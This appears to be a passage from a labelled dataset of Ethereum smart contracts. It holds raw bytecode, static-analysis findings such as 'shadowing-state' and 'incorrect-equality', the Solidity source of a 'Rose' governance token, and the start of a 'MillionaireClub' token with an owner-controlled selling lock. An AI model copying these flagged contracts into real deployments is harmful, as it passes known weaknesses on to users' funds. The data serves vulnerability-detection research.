5b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561199157600080fd5b6119a68160045461219790919063ffffffff16565b6004819055506119fe81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611ae857600080fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611b5381600761245090919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fcd265ebaf09df2871cc7bd4133404a235ba12eff2041bb89d9c714a2621c7c7e60405160405180910390a250565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548111151515611c2457600080fd5b611cb381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219790919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d3d828261191d565b5050565b611d558160076124ff90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6719d08c1888103bea251a4ed56406bd0c3e69723c8a1686e017e7bbe159b6f860405160405180910390a250565b611daf8160056124ff90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b611e0981600561245090919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611e8c57600080fd5b611f1b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219790919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b60006120933384846121b8565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156120d957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808383111515156121a957600080fd5b82840390508091505092915050565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115151561220657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561224257600080fd5b61229481600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461219790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232981600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561242a57600080fd5b505050565b600080828401905083811015151561244657600080fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561248c57600080fd5b6124968282611aab565b15156124a157600080fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561253b57600080fd5b6125458282611aab565b15151561255157600080fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505600a165627a7a72305820ba3c474bf1590f8d09b72f2ea86dd134e86c22237c72fb7f155d939980e86ad00029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 1,671 |
0xbf759d75967cab23ae67dd72d69f161f004afb0d
|
pragma solidity ^0.5.17;
interface IERC20 {
function balanceOf(address owner) external view returns (uint);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
}
contract Rose {
using SafeMath for uint;
/// @notice EIP-20 token name for this token
string public constant name = "Rose";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "Ros";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 20_000_000e18; // 20 million ros
/// @notice Allowance amounts on behalf of others
mapping(address => mapping(address => uint)) internal allowances;
/// @notice Official record of token balances for each account
mapping(address => uint) internal balances;
/// @notice A record of each accounts delegate
mapping(address => address) public delegates;
function setCheckpoint(uint fromBlock64, uint votes192) internal pure returns (uint){
fromBlock64 |= votes192 << 64;
return fromBlock64;
}
function getCheckpoint(uint _checkpoint) internal pure returns (uint fromBlock, uint votes){
fromBlock=uint(uint64(_checkpoint));
votes=uint(uint192(_checkpoint>>64));
}
function getCheckpoint(address _account,uint _index) external view returns (uint fromBlock, uint votes){
uint data=checkpoints[_account][_index];
(fromBlock,votes)=getCheckpoint(data);
}
/// @notice A record of votes checkpoints for each account, by index
mapping(address => mapping(uint => uint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping(address => uint) public numCheckpoints;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address delegator, address fromDelegate, address toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
constructor(address account) public {
balances[account] = totalSupply;
emit Transfer(address(0), account, totalSupply);
}
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
function approve(address spender, uint rawAmount) external returns (bool) {
require(spender != address(0), "ERC20: approve to the zero address");
allowances[msg.sender][spender] = rawAmount;
emit Approval(msg.sender, spender, rawAmount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
_transferTokens(msg.sender, dst, rawAmount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint spenderAllowance = allowances[src][spender];
if (spender != src && spenderAllowance != uint(- 1)) {
uint newAllowance = spenderAllowance.sub(rawAmount, "Rose::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, rawAmount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint) {
uint nCheckpoints = numCheckpoints[account];
(,uint votes)=getCheckpoint(checkpoints[account][nCheckpoints - 1]);
return nCheckpoints > 0 ? votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint) {
require(blockNumber < block.number, "Rose::getPriorVotes: not yet determined");
uint nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
(uint dataFromBlock1,uint dataVotes1)=getCheckpoint(checkpoints[account][nCheckpoints - 1]);
// First check most recent balance
if (dataFromBlock1 <= blockNumber) {
return dataVotes1;
}
(uint fromBlock0,)=getCheckpoint(checkpoints[account][0]);
// Next check implicit zero balance
if (fromBlock0 > blockNumber) {
return 0;
}
uint lower = 0;
uint upper = nCheckpoints - 1;
while (upper > lower) {
uint center = upper - (upper - lower) / 2;
// ceil, avoiding overflow
uint cp = checkpoints[account][center];
(uint cpFromBlock,uint cpVotes)=getCheckpoint(cp);
if (cpFromBlock == blockNumber) {
return cpVotes;
} else if (cpFromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
(,uint reVotes)=getCheckpoint(checkpoints[account][lower]);
return reVotes;
}
function _transferTokens(address src, address dst, uint amount) internal {
require(src != address(0), "Rose::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Rose::_transferTokens: cannot transfer to the zero address");
balances[src] = balances[src].sub(amount, "Rose::_transferTokens: transfer amount exceeds balance");
balances[dst] = balances[dst].add(amount, "Rose::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint srcRepNum = numCheckpoints[srcRep];
(,uint srcVotes)=getCheckpoint(checkpoints[srcRep][srcRepNum - 1]);
uint srcRepOld = srcRepNum > 0 ? srcVotes : 0;
uint srcRepNew = srcRepOld.sub(amount, "Rose::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint dstRepNum = numCheckpoints[dstRep];
(,uint dstVotes)=getCheckpoint(checkpoints[dstRep][dstRepNum - 1]);
uint dstRepOld = dstRepNum > 0 ? dstVotes : 0;
uint dstRepNew = dstRepOld.add(amount, "Rose::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint256 nCheckpoints, uint256 oldVotes, uint256 newVotes) internal {
uint blockNumber = block.number;
(uint fromBlock,)=getCheckpoint(checkpoints[delegatee][nCheckpoints - 1]);
if (nCheckpoints > 0 && fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1] = setCheckpoint(fromBlock,newVotes);
} else {
checkpoints[delegatee][nCheckpoints] = setCheckpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80635c19a95c1161009757806395d89b411161006657806395d89b4114610383578063a9059cbb1461038b578063b4b5ea57146103b7578063dd62ed3e146103dd57610100565b80635c19a95c146102e35780636fcfff451461030b57806370a0823114610331578063782d6fe11461035757610100565b806323b872dd116100d357806323b872dd14610208578063313ce5671461023e57806347f761f51461025c578063587cde1e146102a157610100565b806306fdde0314610105578063095ea7b3146101825780630cdfebfa146101c257806318160ddd14610200575b600080fd5b61010d61040b565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b03813516906020013561042b565b604080519115158252519081900360200190f35b6101ee600480360360408110156101d857600080fd5b506001600160a01b0381351690602001356104d8565b60408051918252519081900360200190f35b6101ee6104f5565b6101ae6004803603606081101561021e57600080fd5b506001600160a01b03813581169160208101359091169060400135610504565b6102466105e8565b6040805160ff9092168252519081900360200190f35b6102886004803603604081101561027257600080fd5b506001600160a01b0381351690602001356105ed565b6040805192835260208301919091528051918290030190f35b6102c7600480360360208110156102b757600080fd5b50356001600160a01b0316610628565b604080516001600160a01b039092168252519081900360200190f35b610309600480360360208110156102f957600080fd5b50356001600160a01b0316610643565b005b6101ee6004803603602081101561032157600080fd5b50356001600160a01b0316610650565b6101ee6004803603602081101561034757600080fd5b50356001600160a01b0316610662565b6101ee6004803603604081101561036d57600080fd5b506001600160a01b03813516906020013561067d565b61010d610832565b6101ae600480360360408110156103a157600080fd5b506001600160a01b038135169060200135610851565b6101ee600480360360208110156103cd57600080fd5b50356001600160a01b0316610867565b6101ee600480360360408110156103f357600080fd5b506001600160a01b03813581169160200135166108be565b60405180604001604052806004815260200163526f736560e01b81525081565b60006001600160a01b0383166104725760405162461bcd60e51b8152600401808060200182810382526022815260200180610ed76022913960400191505060405180910390fd5b336000818152602081815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b600360209081526000928352604080842090915290825290205481565b6a108b2a2c2802909400000081565b6001600160a01b0383166000818152602081815260408083203380855292528220549192909190821480159061053c57506000198114155b156105d157600061056e856040518060600160405280603d8152602001610ef9603d913984919063ffffffff6108e716565b6001600160a01b038089166000818152602081815260408083209489168084529482529182902085905581518581529151949550929391927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a3505b6105dc86868661097e565b50600195945050505050565b601281565b6001600160a01b0382166000908152600360209081526040808320848452909152812054819061061c81610b45565b90969095509350505050565b6002602052600090815260409020546001600160a01b031681565b61064d3382610b5a565b50565b60046020526000908152604090205481565b6001600160a01b031660009081526001602052604090205490565b60004382106106bd5760405162461bcd60e51b815260040180806020018281038252602781526020018061100a6027913960400191505060405180910390fd5b6001600160a01b038316600090815260046020526040902054806106e55760009150506104d2565b6001600160a01b038416600090815260036020908152604080832060001985018452909152812054819061071890610b45565b9150915084821161072d5792506104d2915050565b6001600160a01b038616600090815260036020908152604080832083805290915281205461075a90610b45565b509050858111156107725760009450505050506104d2565b600060001985015b818111156107f6576001600160a01b0389166000908152600360209081526040808320600286860304850380855292528220549091806107b983610b45565b915091508b8214156107d65799506104d298505050505050505050565b8b8210156107e6578395506107ed565b6001840394505b5050505061077a565b6001600160a01b038916600090815260036020908152604080832085845290915281205461082390610b45565b9b9a5050505050505050505050565b60405180604001604052806003815260200162526f7360e81b81525081565b600061085e33848461097e565b50600192915050565b6001600160a01b038116600090815260046020908152604080832054600383528184206000198201855290925282205482906108a290610b45565b915050600082116108b45760006108b6565b805b949350505050565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b600081848411156109765760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561093b578181015183820152602001610923565b50505050905090810190601f1680156109685780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0383166109c35760405162461bcd60e51b815260040180806020018281038252603c815260200180610fce603c913960400191505060405180910390fd5b6001600160a01b038216610a085760405162461bcd60e51b815260040180806020018281038252603a815260200180610f36603a913960400191505060405180910390fd5b610a4b81604051806060016040528060368152602001610f98603691396001600160a01b038616600090815260016020526040902054919063ffffffff6108e716565b60016000856001600160a01b03166001600160a01b0316815260200190815260200160002081905550610ab781604051806060016040528060308152602001611031603091396001600160a01b038516600090815260016020526040902054919063ffffffff610bee16565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a36001600160a01b03808416600090815260026020526040808220548584168352912054610b4092918216911683610c4c565b505050565b67ffffffffffffffff81169160409190911c90565b6001600160a01b03808316600081815260026020818152604080842080546001845294829020549383528787166001600160a01b0319861681179091558151958652939095169084018190528385019290925292519092917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f919081900360600190a1610be8828483610c4c565b50505050565b60008383018285821015610c435760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561093b578181015183820152602001610923565b50949350505050565b816001600160a01b0316836001600160a01b031614158015610c6e5750600081115b15610b40576001600160a01b03831615610d15576001600160a01b0383166000908152600460209081526040808320546003835281842060001982018552909252822054909190610cbe90610b45565b9150506000808311610cd1576000610cd3565b815b90506000610d0285604051806060016040528060288152602001610f706028913984919063ffffffff6108e716565b9050610d1087858484610dbb565b505050505b6001600160a01b03821615610b40576001600160a01b0382166000908152600460209081526040808320546003835281842060001982018552909252822054909190610d6090610b45565b9150506000808311610d73576000610d75565b815b90506000610da4856040518060600160405280602781526020016110616027913984919063ffffffff610bee16565b9050610db286858484610dbb565b50505050505050565b6001600160a01b038416600090815260036020908152604080832060001987018452909152812054439190610def90610b45565b509050600085118015610e0157508181145b15610e3d57610e108184610ecf565b6001600160a01b03871660009081526003602090815260408083206000198a018452909152902055610e7e565b610e478284610ecf565b6001600160a01b03871660008181526003602090815260408083208a84528252808320949094559181526004909152206001860190555b604080516001600160a01b03881681526020810186905280820185905290517fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7249181900360600190a1505050505050565b60401b179056fe45524332303a20617070726f766520746f20746865207a65726f2061646472657373526f73653a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365526f73653a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e7366657220746f20746865207a65726f2061646472657373526f73653a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773526f73653a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365526f73653a3a5f7472616e73666572546f6b656e733a2063616e6e6f74207472616e736665722066726f6d20746865207a65726f2061646472657373526f73653a3a6765745072696f72566f7465733a206e6f74207965742064657465726d696e6564526f73653a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773526f73653a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a265627a7a723158207cb7bd1636522be10184124fca8b3a5be6d33bf8f9f1de416690a4dc2fe7495064736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 1,672 |
0x96b289b8428d05eab36ef41c523fda1293bcf4e0
|
pragma solidity ^0.8.9;
// SPDX-License-Identifier: MIT
interface ERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
interface ERC20Metadata is ERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
_setOwner(msg.sender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IpancakePair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IpancakeRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IpancakeRouter02 is IpancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// Bep20 standards for token creation by bloctechsolutions.com
contract MillionaireClub is Context, ERC20, ERC20Metadata, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromMaxTx;
IpancakeRouter02 public pancakeRouter;
address public pancakePair;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
bool public _sellingOpen = false; //once switched on, can never be switched off.
uint256 public _maxTxAmount;
constructor() {
_name = "Millionaires Club";
_symbol = "MC";
_decimals = 18;
_totalSupply = 1000000000000 * 1e18;
_balances[owner()] = _totalSupply;
